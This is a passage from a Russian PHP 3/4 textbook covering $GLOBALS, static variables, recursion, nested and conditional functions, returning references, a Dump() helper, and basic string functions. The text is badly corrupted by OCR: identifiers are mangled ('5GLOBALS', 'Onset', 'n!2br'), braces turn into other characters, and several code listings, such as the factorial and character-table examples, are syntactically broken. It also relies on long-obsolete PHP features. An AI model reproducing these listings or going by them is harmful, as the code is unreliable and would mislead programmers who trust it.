Массив SGLOBALS

В принципе, есть и второй способ добраться до глобальных переменных. Это — использование встроенного в язык массива SGLOBALS. Последний представляет собой хэш, ключи которого есть имена глобальных переменных, а значения — их величины.

Этот массив доступен из любого места в программе — в том числе и из тела функции, и его не нужно никак дополнительно объявлять. Итак, приведенный выше пример можно переписать более лаконично:

// Возвращает название месяца по его номеру. Нумерация начинается с 1! function GetMonthName ($n) { return 5GLOBALS["Monthes"][$n]; }

Кстати, тут мы опять сталкиваемся с тем, что не только переменные, но даже и массивы могут иметь совершенно любую структуру, какой бы сложной она ни была. Например, предположим, что у нас в программе есть ассоциативный массив $А, элементы которого — двумерные массивы чисел. Тогда доступ к какой-нибудь ячейке этого массива с использованием $GLOBALS мог бы выглядеть так:

$GLOBALS["A"][First"] [10] [20] ;

То есть получился четырехмерный массив!

Насчет $GLOBALS следует добавить еще несколько полезных сведений. Во- первых, как я уже говорил, этот массив изначально является глобальным для любой функции, а также для самой программы. Так, вполне допустимо его использовать не только в теле функции, но также и в любом другом месте. Во-вторых, с этим массивом допустимы не все операции, разрешенные с обычными массивами. А именно, мы не можем:

присвоить этот массив какой-либо переменной целиком, используя оператор =;

как следствие, передать его функции "по значению" ■^■е* можно передавать только по ссылке.

Однако остальные операции допустимы. Мы можем при желании, например, по одному перебрать у него все элементы и, скажем, вывести их значения на экран. И, наконец, третье: добавление нового элемента в $GLOBALS равнозначно созданию новой глобальной переменной (конечно, предваренной символом $ в начале имени, ведь в самом массиве ключи — это имена переменных без символа доллара), а выполнение операции Onset о для него равносильно уничтожению соответствующей переменной.

А теперь я скажу нечто весьма интересное все о том же массиве $GLOBALS. Как вы думаете, какой элемент (то есть, глобальная переменная) всегда в нем присутствует? Это — переменная GLOBALS, которая также является массивом, и в которой также есть элемент GLOBALS... Так что же было первей — курица или яйцо (только не надо мне говорить, что первым был петух)?

А собственно, почему бы и нет? С чего это мы все привыкли, что в большом содержится малое, а не, скажем, наоборот? Почему множество не может содержать себя же в качестве элемента? Очень даже может, и $ GLOBALS — тому наглядный пример.

В РНР версии 3 такая ситуация была чистой воды шаманством. Однако с появлением в четвертой версии РНР ссылок все вернулось на круги своя. На самом- то деле элемент с ключом GLOBALS является не обычным массивом, а лишь ссылкой на $GLOBALS. Вот поэтому все и работает так, как было описано.

Вооружившись механизмом создания ссылок, мы можем теперь наглядно продемонстрировать, как работает инструкция global, а также заметить один ее интересный нюанс. Как мы знаем, global $a говорит о том, что переменная $а является глобальной, т. е., является синонимом глобальной $а. Синоним в терминах РНР — это ссылка. Выходит, что global создает ссылку? Да, никак не иначе. А вот как это воспринимается транслятором:

function Test()

{ global $а;

$а=10;

)

Приведенное описание функции Test о полностью эквивалентно следующему описанию: function Test() { $a=&$GLOBALS['a'];

$a=10;

}

Из второго фрагмента видно, что оператор Unset ($а) в теле функции не уничтожит глобальную переменную $а, а лишь "отвяжет" от нее ссылку $а. Точно то же самое происходит и в первом случае. Вот пример: $a=100; function Test() ( global $a;

Unset($a);

}

Test()

echo$a;//выводит100,т.е.настоящая$анебылаудаленав Test() !

Внимание

Эта особенность инструкции global появилась только в РНР версии 4, т. е. когда начали поддерживаться ссылки! Если вы запустите приведенный только что пример на РНР версии 3, то при исполнении echo увидите предупреждение: $а не определена. Помните это при переносе старых сценариев на новый РНР версии 4.

Как же нам удалить глобальную $а из функции? Существует только один способ: использовать для этой цели $GLOBALS [ 1 a1 ] • Вот как это делается:

function Test () { unset(SGLOBALS['a’]); }

$a=100;

Test ();

echo $a; // Ошибка! Переменная $а не определена!

Статические переменные

Видимо, чтобы не отставать от других языков, создатели РНР предусмотрели еще один вид переменных, кроме локальных и глобальных, — статические. Работают они точно так же, как и в Си. Рассмотрим следующий пример (листинг 11.12):

Листинг 11.12. Статические переменные

function Silly() { static $a=0;

echo

$а++ ;

}

for($i=U; $i<10; Si++) Silly П;

После запуска будет выведена строка 0123456789, как мы и хотели. Давайте теперь уберем слово static. Мы увидим: оооооооооо. Это и понятно, ведь переменная $а стала локальной, и ей при каждом вызове функции присваивается одно и то же значение — 0.

Итак, конструкция static говорит компилятору о том, что уничтожать указанную переменную для нашей функции между вызовами не надо. В то же время присваивание $а=о сработает только один раз, а именно — при самом первомк функции (так уж устроен static).

Рекурсия

Конечно, в РНР поддерживаются рекурсивные вызовы функций, т. е. вызовы функцией самой себя (разумеется, не до бесконечности, а в соответствии с определенным условием). Это бывает чрезвычайно удобно для таких задач, как, например, обход всего дерева каталогов вашего сервера (с целью подсчитать суммарный объем, который занимают все файлы), или для других задач. Рассмотрим для примера функцию, которая рекурсивно вычисляет факториал из некоторого числа п (обозначаетсяАлгоритм стандартный:

если п=о, то =1, а иначе(

function Factor(St)

( if I$n<--U; return 1;

else return Sn*Factor(Sn-1) ;

}

echo Factor(20);

Должен только предупредить вас не применять эту функцию факториала в реальной жизни — она приведена здесь исключительно для примера. Лучше воспользоваться следующей функцией — она работает гораздо быстрее: function Factor$n)

{ for($f-l; $n>l; $n—) $f*=$n;

return $f;

)

Вложенные функции

Стандарт РНР не поддерживает вложенные функции. Однако он поддерживает нечто, немного похожее на них. Вместо того чтобы, как и у перемен-

ных, ограничить область видимости для вложенных функций своими "родителями", РНР делает их доступными для всей остальной части программы, но только с того момента, когда "функция-родитель" была из нее вызвана. Позднее, в части V книги, мы увидим, что этот (казалось бы) недочет оказывается довольно удобным способом для написания библиотек функций на РНР.

Итак, "вложенные" функции выглядят следующим образом (листинг 11.13):

Листинг 11.13. Вложенные функции

function Parent($а)

{ echo $а;

function Child($Ь)

{ echo $Ь+1;

return $b*$b;

}

return $a*$a*Child($a); // фактически возвращает $а*$а*($а+1)*($а+1) }

// Вызываем функции

Parent(10);

Child(30);

// Попробуйте теперь ВМЕСТО этих двух вызовов поставить такие

// же, но только в обратном порядке. Что, выдает ошибку?

// Почему, спрашиваете? Читайте дальше!

Мы видим, что нет никаких ограничений на место описания функции - будь то глобальная область видимости программы, либо же тело какой-то другой функции. В то же время, напоминаю, что понятия "локальная функция" как такового в РНР все же (пока?) не существует.

Каждая функция добавляется во внутреннюю таблицу функций РНР тогда, когда управление доходит до участка программы, содержащего определение этой функции. При этом, конечно, само тело функции пропускается, однако ее имя фиксируется и может далее быть использовано в сценарии для вызова. Если же в процессе выполнения программы РНР никогда не доходит до определения некоторой функции, она не будет "видна", как будто ее и не существует — это ответ на вопросы, заданные внутри комментариев примера.

Давайте теперь попробуем запустить другой пример. Вызовем Parent () два раза подряд:

Parent(10);

Parent (20);

Последний вызов породит ошибку: функция child о уже определена. Это произошло потому, что child о определяется внутри Parent о, и до ее определения управление программы фактически доходит дважды (при первом и втором вызовах Parent о). Поэтому-то интерпретатор и "протестует": он не может второй раз добавить child о в таблицу функций.

Замечание

Для тех, кто раньше программировал на Perl, этот факт может показаться ужасающим. Что ж, действительно, мы не должны использовать вложенные функции РНР так же, как делали это в Perl.

Условно определяемые функции

Предположим, у нас в программе где-то устанавливается переменная $OS_TYPE в значение win, если сценарий запущен под Windows 9x, и в unix, если под Unix. Как известно, в отличие от Unix, в Windows нет такого понятия, как владелец файла, а значит, стандартная функция chown() (которая как раз и назначает владельца для указанного файла) там просто не имеет смысла. В некоторых версиях РНР для Windows ее может в этой связи вообще не быть. Однако, чтобы улучшить переносимость сценариев с одной платформы на другую (без изменения их кода!) можно написать следующую простую "обертку" для функции chown () (листинг 11.14):

1 Листинг 11.14. Условно определяемые функции

if($OS_TYPE=="win")

{ // Функция-заглушка

function MyChOwn($fname,$attr)

( // ничего не делает

return 1 ;

1

else

{/ / Передаем вызов настоящей chown ( )

function MyChOwn($fname, $attr)

( returnchown ($fname,$attr) ;

1

1

Это — один из примеров условно определяемых функций. Если мы работаем под Windows, функция MyChOwn() ничего не делает и возвращает 1 как

индикатор успеха, в то время как для Unix она просто вызывает оригинальную chown() . Важно то, что проверка, какую функцию использовать, производится только один раз (в момент прохождения точки определения функции), т. е. здесь нет ни малейшей потери производительности. Теперь в сценарии мы должны всюду отказаться от chown () и использовать MyChOwn() (можно даже провести поиск/замену этого имени в редакторе) - это обеспечит переносимость.

Если вам совсем не нравится идея поиска/замены (а мне она не нравится категорически), то существует гораздо более элегантный способ, но только в том случае, если chown о еще не была нигде определена — в том числе и среди стандартных функций:

if(!function_exists("chown"))

{ function chown ($fhamez $mode)

{ // не делаем ничего

return 1 ;

}

Этот способ работает независимо от того, появится ли вдруг в будущих версиях РНР для Windows "заглушка" для функции chown(), или же нет. (Нужно сказать для справедливости, что в РНР версии 4 такая заглушка уже существует.)

Знатоки Си могут заметить в приеме условно определяемых функций разительное сходство с директивами условной компиляции этого языка: ttifndef, #else и #endif. Действительно, аналогия почти полная, за исключением того факта, что в Си эти директивы обрабатываются во время компиляции, а в РНР — во время выполнения. Что ж, на то он и интерпретатор, чтобы позволять себе интерпретацию.

Примечание л

То, что возможно создавать условно определяемые функции, сильно подрывает веру в РНР как в истинный транслятор. Как вообще можно устроить транслятор так, чтобы он правильно обрабатывал подобные вещи? Я не знаю. Надеюсь, что разработчики РНР нашли-таки способ, и условно определяемые функции транслируются вместе со всей программой, а не на этапе исполнения, как это было в РНР версии 3. Однако полной уверенности в этом нет, а документация по этому поводу молчит (пока).

Передачафункций "поссылке"

Я отнюдь не случайно заключил последние два слова названия этого раздела в кавычки — дело в том, что как таковая, передача функции по ссылке в

РНР не поддерживается. Однако, т. к. это слишком часто может быть полезным, в РНР есть понятие "функциональной переменной". Легче всего его можно рассмотреть на примерах: function A($i) { echo "a $i\n"; } function B($i) { echo "b $i\n"; } • function C($i) { echo "c $i\n"; } $F="A"; // или $F="B" или $F="C" $F(10);// вызов функции, имя которой хранится в $F

Второй пример носит довольно прикладной характер. В РНР есть такая стандартная функция — uasort <), которая сортирует ассоциативный массив, заданный ее первым параметром, причем критерием сравнения для элементов этого массива служит функция, имя которой передано вторым параметром. Мы будем рассматривать эту функцию в главе 13, а сейчас я приведу простой пример:

// Сравнение без учета регистра символов строк function FCmp($a,$b) ( return strcmp(tolower($a),tolower($b)) } $a=array("b"=>"bbb", "a"=>"Aaa", "d"=>"ddd); uasort($a,"FCmp"); // Сортировка без учета регистра символов

Здесь функция, имя которой получено со вторым параметром uasort о, должна иметь два аргумента, которые являются сравниваемыми значениями в массиве.

В общем случае, функциональная переменная — это всего лишь переменная-строка, содержащая имя функции, и ничего больше. Поскольку в РНР нет такого понятия, как области видимости для функций (есть только области видимости для локальных переменных), то конфликтов это не порождает — одному имени может соответствовать не более одной функции. Такой подход, на мой взгляд, не очень хорош, но он действительно работает, и это главное.

Возврат функцией ссылки

До сих пор я рассматривал лишь функции, которые возвращают определенные значения — а именно, копии величин, использованных в инструкции return. Заметьте, это были именно копии, а не сами объекты. Например: $a=100;

function R()

{ global $ d / // объявляет $а глобальной

return $а; // возвращает значение, а не ссылку!

}

$b=R();

$b=0;// присваивает $Ь, а не $a!

echo $a / // выводит 100

В то же время мы бы хотели, чтобы функция R () возвращала не величину, а ссылку на переменную $а, чтобы в дальнейшем с этой ссылкой можно было работать точно так же, как и с $а. Например, это может очень пригодиться в объектно-ориентированном программировании на РНР (основы которого мы рассмотрим в пятой части книги), когда функция должна возвращать именно объект, а не его копию.

Как же нам добиться нужного результата? Использование оператора $b=&R() , к сожалению, не подходит, т. к. при этом мы получим в $ь ссылку не на $а, а на ее копию. Если задействовать return &$a, то появится сообщение о синтаксической ошибке (РНР воспринимает & только в правой части оператора присваивания сразу после знака =). Но выход есть. Воспользуемся специальным синтаксисом описания функции, возвращающей ссылку (листинг 11.15):

Листинг 11.15. Возвращение ссылки

$a=100;

function &R() // & — возвращает ссылку

{ global $a;// объявляет $а глобальной

return $a;// возвращает, ссылку, а не значение!

}

$b=&R(); // не забудьте & !!!

$b=0;// присваивает переменной $а!

echo $а; // выводит 0. Это значит, что теперь $b - синоним $а

Как видим, нужно поставить & в двух местах: перед определением имени функции, а также в правой части оператора присваивания при вызове функции. Использовать амперсанд в инструкции return не нужно.

Внимание

Лично я не нахожу такой синтаксис удобным. Достаточно no-ошибке всего один раз пропустить & при вызове функции, как переменной $b будет присвоена не ссылка на $а, а только ее копия со всеми вытекающими из этого последствиями. При использовании объектно-ориентированного программирования это может породить логические ошибки, выглядящие крайне странно. Поэтому я рекомендую применять возврат ссылки как можно реже, и только в тех случаях, когда это действительно необходимо.

Пример функции: Dumpf)

В отладочных целях часто бывает нужно посмотреть, что содержит та или иная переменная. Однако, если эта переменная — массив, да еще многомерный, с выводом ее содержимого на экран могут возникнуть проблемы. Решить их призвана следующая функция, которую я назвал Dump () • Пользу от этой функции можно реально почувствовать, лишь поработав с ней некоторое время. Уверяю, потом вы не сможете понять, как раньше без нее обходились

Функция выводит содержимое любой, сколь угодно сложной, переменной, будь то массив, объект или простая переменная. Как уже говорилось, приведенная функция исключительно полезна при отладке сценариев (которая в РНР пока еще не особенно развита). _

В РНР версии 4 для аналогичных целей существуют две стандартных функции — print_r ()и var_dump () , но листинг, который они выводят, довольно неудобен для восприятия человеком.

I Листинг 11.16. Функция Dump ()

// Вспомогательная функция, делающая всю "грязную" работу

function TextDump(&$Var, $Level=O)

{ if(is_array($Var)) $Type="Array[".count($Var)."]";

else if(is_object($Var)) $Type="Object";

else $Type="";

if(SType) {

echo "$Type\n";

for(Reset($Var),$Level++; list($k,$v)=each($Var); ) {

if(is_array($v) && $k==="GLOBALS") continue;

for($i=0; $i<$Level*3; $i++) echo

echo "<b>".HtmlSpecialChars($k)."</b> => ", TextDump ($v,$Level) ;

I

else echo "",HtmlSpecialChars($Var), "" . "\n";

}

// Основная функция

function Dump(&$Var)

if ( (is_array ($Var) I |is_object($Var)) &&count ($Var))

echo "<pre>\n",TextDump($Var), "</pre>\n";

else

echo "<tt>",TextDump($Var),"</tt>\n";

В реальной жизни следует использовать функцию Dump () • Функция TextDump() (которая, по правде говоря, и делает всю работу) использует только одну неизвестную нам еще функцию — HtmlSpecialChars о, заменяющую в строке символы типа <, > или " на их HTML-эквиваленты (соответственно, &lt;, &gt; И &quot;). Мы применили дополнительную функцию для того, чтобы вывести сам результат, а главная функция занимается только форматированием этого результата (вставка его в тэги <pre> или <tt> в зависимости от размера вывода).

Несколькосоветов

по использованию функций

Хочется напоследок сказать еще несколько слов о функциях.

Первое — не допускайте, чтобы ваши функции разрастались до гигантских размеров. Дробите их на маленькие, по возможности независимые, части, желательно полезные и сами по себе. Это повысит "читабельность", устойчивость и переносимость ваших программ. В идеале каждая функция не должна занимать больше 20-30 строк, возможно, за редким исключением. Этот совет применим вообще ко всем языкам программирования, а не только к РНР.

Второе: как известно, вызов функции тоже отнимает какое-то время, поэтому распространено мнение, что чем меньше функций, тем быстрее работает программа. Оно в корне неверно: не стоит обращать внимания на цену вызова функции, пока она сама об этом не заявит. В конце концов, объединить несколько функций в одну всегда на порядок проще, чем разбить одну функцию на несколько. Помните об этом.

Наконец, последнее: больше используйте встроенные, стандартные функции. Прежде чем писать какую-то процедуру, сверьтесь с документацией — возможно, она уже реализована в ядре РНР. Если это так, то не думайте, что сможете написать ее эффективнее на РНР — ведь часто самый неэффективный Си-код работает быстрее, чем самый изящный на РНР. Возможно, лучше пожертвовать объемом за счет быстродействия — например, при работе с базами данных и сложными файлами лучше применять стандартные функции сериализации, чем писать более эффективно упаковывающие, но свои, потому что стандартные работают очень быстро. Правда, из этого правила существуют и исключения: например, я бы не советовал вам использовать serialize () для формирования строки, сохраняющейся в Cookies браузера — здесь лучше написать свои функции. Опять же, тут действует принцип: чем меньше в профамме собственноручно реализованных функций, тем надежнее она будет работать и тем меньше ее придется тестировать.

ЧАСТЬ IV.

СТАНДАРТНЫЕФУНКЦИИ PHP

Не будет преувеличением сказать, что самой привлекательной чертой языка РНР является набор его стандартных, или встроенных, функций. Пожалуй, без них язык вообще представлял бы очень малую ценность. Главное, что этот набор постоянно пополняется с выходом новых версий языка: например, еще совсем недавно в РНР не было функций, поддерживающих концепцию сессии (то есть, устойчивого между запусками сценария окружения переменных, связанных по отдельности с каждым пользователем программы), функций для работы с изображениями и регулярными выражениями в формате PCRE (Perl-compatible regular expression — регулярные выражения языка Perl). Сейчас все это (и многое другое!) уже есть, и, конечно, грех не воспользоваться такими возможностями...

Мы уже ознакомились с некоторыми базовыми функциями, которые в силу их специализации можно было бы даже назвать операторами. Среди них - функция вывода echo, функции для работы с массивами и переменными и т. д. В этой части книги мы займемся остальными встроенными в РНР процедурами, которые чаще всего требуются в Web-программировании. Конечно, объем книги не позволяет описать абсолютно все функции, да это и невозможно, потому что такое описание тут же устареет с выходом новой версии языка. Так что, как всегда, лучшим другом программиста (может быть, правильнее сказать подругой?) обязательно должна стать документация, поставляемая вместе с дистрибутивами РНР, или ее online-версия, расположенная по адресу http://www.php.net или http://ru.php.net. Использование документации из Интернета привлекательно еще и потому, что она фактически представляет собой один большой форум, в котором приведены различные комментарии, оставленные энтузиастами. Вы тоже можете внести свою лепту в это общее дело.

Что же, разработчики РНР не боги, и иногда даже во встроенных функциях встречаются ошибки. Если вы наткнулись на одну из таких ошибок, радуйтесь: у вас есть возможность внести вклад в общемировое дело Web- программирования! Вначале постарайтесь локализовать ошибку — напишите небольшой (как можно меньше!) сценарий, который будет работать неправильно. Далее, если у вас есть исходные тексты РНР и вы в состоянии в них разобраться (а это несколько проще, чем кажется на первый взгляд), попытайтесь найти в них то место, где происходит недоразумение. Наконец, отправьте накопленный материал по электронной почте разработчикам РНР (адрес можно узнать на сайте http://www.php.net) и, скорее всего, в будущих версиях языка ошибки уже не будет. Однажды со мной случился такой случай, и я был приятно удивлен той скоростью, с которой мне пришел ответ от разработчиков (в течение одного дня). Причем ответ развернутый, а не простая отписка и, главное, в следующей версии РНР, действительно, найденной ошибки уже не оказалось.

Глава 12

Строковые функции

Строки в РНР — одни из самых универсальных объектов. Как мы уже видели, любой, сколь угодно сложный объект можно упаковать в строку при по- моши функции Serialize() (и обратно через Unserialize о ). Строка может содержать абсолютно любые символы с кодами от 0 до 255 включительно. Нет никакого специального маркера "конца строки", как это сделано в Си (там конец строки помечается символом с нулевым кодом). А значит, длина строки во внутреннем представлении РНР хранится где-то отдельно. Для формирования и вставки непечатаемого символа в строку (например, с кодом 1 или 15) используется функция chr о , которую мы рассмотрим ниже.

Наконец, из-за слабого контроля типов в РНР строка может содержать (и часто содержит) число, причем с ней можно работать, как с числом: прибавлять другие числа, умножать и т. д. При этом все преобразования (в десятичной системе) производятся автоматически. Существуют также функции, преобразующие число, записанное в различных системах счисления (например, в восьмеричной), в обычное представление, и наоборот. Их мы обсудим позже, в следующей главе.

Замечание J

В этой главе я описываю только самые употребительные и удобные функции (около 80%), пропуская все остальные. Какие-то из не вошедших в данную главу функций (например, quotemeta()) мы будем рассматривать в других главах — там, где это показалось мне наиболее логичным. Так что, не найдя описание интересующей вас функции здесь, подумайте: возможно, оно лучше подходит для другой темы и его лучше поискать там? И, наконец, последней инстанцией для вас, конечно же, должна являться документация РНР.

Конкатенация строк

Самая, пожалуй, распространенная операция со строками — это их конкатенация, или присоединение к одной строке другой. В ранних версиях РНР для этого, как и для сложения чисел, использовался оператор +, что постоянно приводило к путанице: если к числу прибавляется строка, что должно получиться — число или строка? Если число, то вдруг наша строка содержала на самом деле не число, а какой-то текст? В новой — третьей — версии

интерпретатора разработчики отказались от этого механизма и объявили, что + следует применять только для сложения чисел, и никак иначе. Что же касается конкатенации строк, то для нее ввели специальный оператор (точка).

Оператор всегда воспринимает свои операнды как строки и возвращает строку. В случае, если один из операндов не может быть переведен в строковое представление, т. е. если это массив или объект, то он воспринимается как строки array и object соответственно. Вообще говоря, это правило применимо и не только при сцеплении строк, но и при передаче такого операнда в какую-нибудь стандартную функцию, которой требуется строка. Например, следующие команды выведут слово Array:

$a=array(10,20,30);

echo $a // Внимание! Неожиданный результат"!

Есть и другой, более специализированный, способ конкатенации строк. Он обычно используется, когда значения строковых или числовых переменных перемежаются с обычными словами. Если, к примеру, у нас в $day хранится текущее число, в $month — название месяца и в $year — год, то вывести строку вида "Сегодня 8 мая 2000 года" можно так:

echo "Сегодня $day $month $year года";

При этом в строку, вырабатываемую инструкцией echo, автоматически в нужных местах вставятся значения наших переменных. Это позволяет констатировать тот факт, что в РНР все переменные начинаются с $.

О сравнении строк и инструкции if-else

Теперь я хотел бы рассмотреть одно тонкое место в интерпретаторе РНР, касающееся немного неправильной работы со строками. Заключается оно вот в чем. Если мы используем операторы сравнения == и != (или любые другие, которые могут потребовать перевода строки в число) с операндами-строками, то результат, вопреки ожиданиям, не всегда оказывается верным. Чаще всего это проявляется как раз в инструкции if. Вот примеры (листинг 12.1):

Листинг 12.1. Внимание! Опасное место!

$one=l; // число один

$zero=0;// присваиваем число нуль

if($one=="") echo 1;// очевидно, не равно — не выводит 1

if($zero=="") echo 3;// Внимание! Вопреки ожиданиям печатает 3

if(""==$zero) echo 4;// И это тоже не поможет!. .

if("$zero"=="") echo 5; // Не работает в некоторых версиях РНР 3

if(strval($zero)=="") echo 6; // Вот теперь правильно — не выводит 6

if($zero==="") echo7;// Самыйлучшийспособ,нонедействуетвРНР3

Получается, что в операциях сравнения пустая строка прежде всего трактуется как 0 (ноль) и уж затем — как "пусто"? Это звучит довольно парадоксально, но это действительно так. Операнды сравниваются как строки только в том случае, если они оба — строки, в противном случае идет числовое сравнение. При этом пустая строка воспринимается как 0, впрочем, как и любая другая; которую интерпретатору не удалось перевести в число.

Замечание}

В первых версиях РНР 3 при присоединении к числовому нулю пустой строки этот ноль не менял типа, не становился строкой "0". Видимо, срабатывала какая-то оптимизация, и РНР просто пропускал этот бессмысленный, на его взгляд, шаг. Проведенные мной тесты показывают, что в РНР версии 3.0.12 и старше эта ошибка исправлена, но все же иногда нужно иметь ее в виду, особенно, если сценарии должны быть хорошо переносимыми.

Итак, если вы хотите сравнить две переменные-строки, нужно быть абсолютно уверенными, что их типы именно строковые, а не числовые.

Впрочем, это не распространяется на новый оператор РНР версии 4 === (тройное равенство, или оператор эквивалентности). Его использование заставляет интерпретатор всегда сравнивать величины и по значению, и по их типу. Итак, с точки зрения РНР 0==*'", но 0!=="". Если вы не собираетесь программировать на РНР версии, не ниже третьей, рекомендую всегда использоватьвместо strval () , как это было сделано в листинге 12.1.

Существует одна стандартная ошибка, которую делают многие. Вот в чем она состоит. Есть такая функция — strpos ($str,$what), которая возвращает позицию подстроки $what в строке $str или false, если подстрока не найдена. Пусть нам нужно проверить, встречается ли в некоторой строке $str подстрока <? (и напечатать "это PHP-программа", если встречается). Как мы знаем, вариант

if (strpos($str, "<?") !=false)

echo "это РНР-программа";

не годится, если <? находится в самом начале строки (в этом случае не будет выдано наше сообщение, хотя подстрока в действительности найдена, и функция возвратила 0, а не false).

Если вы еще собираетесь работать с РНР версии 3, указанную проблему можно решить так:

if (strval(strpos($str,"<?") ) !="")

echo "это РНР-программа";

Конечно, выглядит это немного "накручено", зато действительно работает. Приятно отметить, что в РНР версии 4 проблема решается гораздо более изящным образом:

if(strpos($str,"<?")!==false)

echo "это PHP-программа";

Рекомендую всегда применять последний способ.

Замечание )

Обратите внимание, что мы используем оператор ! == именно с константой false, а не с пустой строкой Дело в том, что для этого оператора false!=="", в то время как, разумеется, false=="".

Функции для работы

с одиночными символами

string chr(int $code)

Возвращает строку из одного символа с кодом $code. Эта функция полезна для вставки каких-либо непечатаемых символов в строку — например, нулевого кода или символа прогона страницы, а также при работе с бинарными файлами. Пример из листинга 12.2 позволяет вам просмотреть, какие коды соответствуют всем символам, которые можно отобразить в браузере. Иногда эта программа оказывается очень полезной.

Листинг 12.2. Программа: печать всей таблицы символов

<?

// Сначала создаем массив того, что мы собираемся ВЫВОДИТЬ,

/ / не заботясь о форматировании (дизайне) информации

for($i=0,$x=0; Sx<16; $х++) {

for($y=0; $y<16; $у++) {

$Chars[$x][$y]=array($i,chr($i));

$if+;

}

}

// Теперь выводим накопленную информацию, используя идеологию

// вставки участков кода в HTML-документ

<table border=l cellpadding=l cellspacing=0

<?for ($y-0; $y<16; $у++) {?>

<tr>

<?for($x=0; $x<16; $х++) { ?>

<td>

<?=$Chars[$x][$y][0]?>:

<bxttx?=$Chars [$x] [$y] [1] ?x/ttx/b>

</td>

<?}?>

</tr>

<?} ?>

</table>

int ord(char $ch)

Эта функция, наоборот, возвращает код символа в $ch. Например, ord(chr($n)) всегда равно $п — конечно, если $п заключено между нулем и числом 255.

int strrpos (string $where, char $what)

Данная функция, хотя и похожа внешне на strpos() (см. ниже), несет несколько иную нагрузку. Она ищет в строке $where последнюю позицию, в которой встречается символ $what (если $what — строка из нескольких символов, то выявляется только первый из них, остальные не играют никакой роли — обратите на это особое внимание!). В случае, если искомый символ не найден, возвращается false (см. замечание по этому поводу для strpos О )■ Вообще, могу сказать, что функция strrpos () применяется очень редко. Слишком уж она не универсальна.

Функции отрезания пробелов

По поводу философии написания программ, которые интенсивно обрабатывают данные, вводимые пользователем (а именно такими программами является большинство сценариев) есть очень правильное изречение: ваша программа должна быть максимально строга к формату выходных данных и максимально лояльна по отношению ко входным данным. Это означает, что, прежде чем передавать полученные от пользователя строки куда-то дальше, — например, другим функциям, — нужно над ними немного поработать. Самое простое, что можно сделать — это отрезать начальные и концевые пробелы.

Иногда трудно даже представить, какими могут быть странными пользователи, если дать им в руки клавиатуру и попросить напечатать на ней какое- нибудь слово. Так как клавиша пробела — самая большая, то пользователи имеют обыкновение нажимать ее в самые невероятные моменты. Этому способствует также и тот факт, что символ с кодом 32, обозначающий пробел, как вы знаете, на экране не виден. Если программа не способна обработать описанную ситуацию, то она, в лучшем случае после тягостного молчания отобразит в браузере что-нибудь типа "неверные входные данные", а в худшем — сделает при этом что-нибудь необратимое.

Между тем, обезопасить себя от паразитных пробелов чрезвычайно просто, и разработчики РНР предоставляют нам для этого ряд специализированных функций. Не волнуйтесь о том, что их применение замедляет программу. Эти функции работают с молниеносной скоростью, а главное, одинаково быстро, независимо от объема переданных им строк. Конечно, я не призываю к пароноидальному применению функций "отрезания" на каждой строчке программы, но в то же время, если есть хоть 1%-ная возможность того, что строка может содержать лишние пробелы, следует без колебаний от них избавляться. В конце концов, отсекать пробелы один раз или тысячу — все равно, а вот не отрезать совсем и отрезать однажды — большая разница. Кстати, если отделять нечего, описанные ниже функции мгновенно заканчивают свою работу, так что их вызов обходится совсем дешево.

string trim(string $st)

Возвращает копию $st, только с удаленными ведущими и концевыми пробельными символами. Под пробельными символами я здесь и далее подразумеваю: пробел символ перевода строки \п, символ возврата каретки \г и символ табуляции \t. Например, вызов trim(" test\n ") вернет строку "test".

Эта функция используется очень широко. Старайтесь применять ее везде, где есть хоть малейшее подозрение на наличие ошибочных пробелов. Поскольку работает она очень быстро.

string ltrim(string $st)

To же, что и trim (), только удаляет исключительно ведущие пробелы, а концевые не трогает. Используется гораздо реже. Старайтесь всегда вместо нее применять trim о , и не прогадаете.

string chop(string $st)

Удаляет только концевые пробелы, ведущие не трогает. Эта функция будет наверняка очень популярной у тех, кто раньше программировал на Perl. Однако следует заметить, что в РНР она выполняет другую функцию.

Базовые функции

int strlen(string $st)

Одна из наиболее полезных функций. Возвращает просто длину строки, т. е., сколько символов содержится в $st. Как уже упоминалось, строка может содержать любые символы, в том числе и с нулевым кодом (что запрещено в Си). Функция strlen () будет правильно работать и с такими строками.

int strpos(string $where, string $what, int $fromwhere=0)

Пытается найти в строке $where подстроку (то есть последовательность символов) $what и в случае успеха возвращает позицию (индекс) этой подстроки в строке. Первый символ строки, как и в Си, имеет индекс 0. Необязательный параметр $fromwhere можно задавать, если поиск нужно вести не с начала строки $from, а с какой-то другой позиции. В этом случае следует эту позицию передать в $fromwhere. Если подстроку найти не удалось, функция возвращает false. Однако будьте внимательны, проверяя результат вызова strpos о на false — используйте ля этого только оператор ===.

string substr(string $str, int $from [,int $length])

Данная функция тоже востребуется очень часто. Ее назначение — возвращать участок строки $str, начиная с позиции $start и длиной $length. Если $ length не задана, то подразумевается подстрока от $ start до конца строки $str. Если $start больше, чем длина строки, или же значение $ length равно нулю, то возвращается пустая подстрока.

Однако эта функция может делать и еще довольно полезные вещи. К примеру, если мы передадим в $start отрицательное число, то будет считаться, что это число является индексом подстроки, но только отсчитываемым от конца $str (например, -1 означает "начиная с последнего символа строки"). Параметр Slength, если он задан, тоже может быть отрицательным. В этом случае последним символом возвращенной подстроки будет символ из $str с индексом $length, определяемым от конца строки.

int strcmp(string $strl, string $str2)

Сравнивает две строки посимвольно (точнее, побайтово) и возвращает: О, если строки полностью совпадают; -1, если строка $strl лексикографически меньше $str2; и 1, если, наоборот, $strl "больше" $str2. Так как сравнение идет побайтово, то регистр символов влияет на результаты сравнений. int strcasecmp(string $strl, string $str2)

To же самое, что и strcmp(), только при работе не учитывается регистр букв. Например, с точки зрения этой функции "ab" и "ab" равны.

Замечание )

Если ваша строка состоит только из "английских" букв, проблем не будет. Однако в случае использования "русских" букв результат (точнее, правильность) работы функции strcasecmp() сильно зависит от настроек текущей локали (см. ниже).

Работа с блоками текста

Перечисленные ниже функции чаше всего оказываются полезны, если нужно проводить однотипные операции с многострочными блоками текста, заданными в строковой переменной.

string str_replace(string $from, string $to, string $str)

Заменяет в строке $str все вхождения подстроки $from (с учетом регистра) на $to и возвращает результат. Исходная строка, переданная третьим параметром, при этом не меняется. Эта функция работает значительно быстрее, чем ereg_replace (), которую мы рассмотрим в главе о регулярных выражениях РНР, и ее часто используют, если нет необходимости в каких-то экзотических правилах поиска подстроки. Например, вот так мы можем заместить все символы перевода строки на их HTML-эквивалент — тэг <br>:

$st=str_replace("\n","<br>\n", $st)

Как видим, то, что в строке <br>\n тоже есть символ перевода строки, никак не влияет на работу функции, т. е. функция производит лишь однократный проход по строке. Для решения описанной задачи также применима функция n!2br (), которая работает чуть быстрее.

string n!2br(string $string)

